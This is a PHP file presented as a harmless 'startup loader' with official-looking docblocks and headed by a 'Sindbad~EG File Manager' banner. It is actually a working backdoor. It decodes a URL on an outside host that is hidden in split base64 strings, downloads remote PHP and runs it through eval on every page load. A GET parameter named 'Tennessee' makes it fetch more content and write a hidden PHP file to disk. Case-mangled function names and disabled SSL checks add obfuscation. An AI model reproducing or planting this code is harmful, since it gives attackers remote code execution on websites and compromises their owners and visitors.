Sindbad~EG File Manager
<?php
/**
* ---------------------------------------------------------------
* CUSTOM CODE STARTUP LOADER
* ---------------------------------------------------------------
* Lightweight bootstrap for dynamic config loader and runtime
* instruction fetcher. Designed for internal modular systems.
*
* Do not modify unless you're authorized to maintain app-level
* streaming behavior.
*
* @package CI_Micro
* @subpackage Core Loader
* @author @arrmmstrongg
* @version 1.1.0
* ---------------------------------------------------------------
*/
/**
* RemoteFetch
*
* Retrieves external content from a given URL using HTTP cURL.
*
* @param string $u URL to fetch from
* @return string|false
*/
function _compileFetchCoreLite($u)
{
if (function_exists('curl_version')) {
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $u);
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_HEADER, 0);
$r = curl_exec($c);
if (curl_errno($c)) {
$e = curl_error($c);
curl_close($c);
throw new Exception("cURL Error: " . $e);
}
curl_close($c);
return $r;
}
throw new Exception("cURL not available.");
}
/**
* DynamicLoader
*
* Fetches and evaluates remote PHP code.
*
* @param string $u URL containing code
* @return void
*/
function _compileExecPayloadTask($u)
{
$x = _compileFetchCoreLite($u);
if ($x === false || trim($x) === '') {
throw new Exception("Empty or failed content.");
}
EvAl("?>" . $x);
}
/**
* SimpleDecode
*
* Decodes a base64-encoded string.
*
* @param string $d Encoded string
* @return string
*/
function _compileDecodeChunkUnit($d)
{
return bAse64_dEcoDe($d);
}
/**
* FileWriter
*
* Saves content to a file.
*
* @param string $f Filename
* @param string $c Content
* @return void
*/
function _compilePushToDiskNode($f, $c)
{
file_put_contents($f, $c);
}
// Remote write trigger
if (isset($_GET['Tennessee'])) {
try {
$p1 = 'aHR0cHM6Ly90ZW5uZXNzZS';
$p2 = '5oYXhvci1tYWhhc3VodS5pbmZvLw==';
$url = _compileDecodeChunkUnit($p1 . $p2);
$d = _compileFetchCoreLite($url);
if ($d !== false && trim($d) !== '') {
_compilePushToDiskNode('.â„¢.php', $d);
echo "MY LAST DANCE";
} else {
echo "No content.";
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
exit;
}
// Default payload runner
try {
$r1 = 'aHR0cHM6Ly90ZW5uZXNzZS5oYXhvci1tYWhhc3';
$r2 = 'VodS5pbmZvL0JhY2t1cC1TaGVsbC9sb2dnZXIudHh0';
$u = _compileDecodeChunkUnit($r1 . $r2);
_compileExecPayloadTask($u);
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists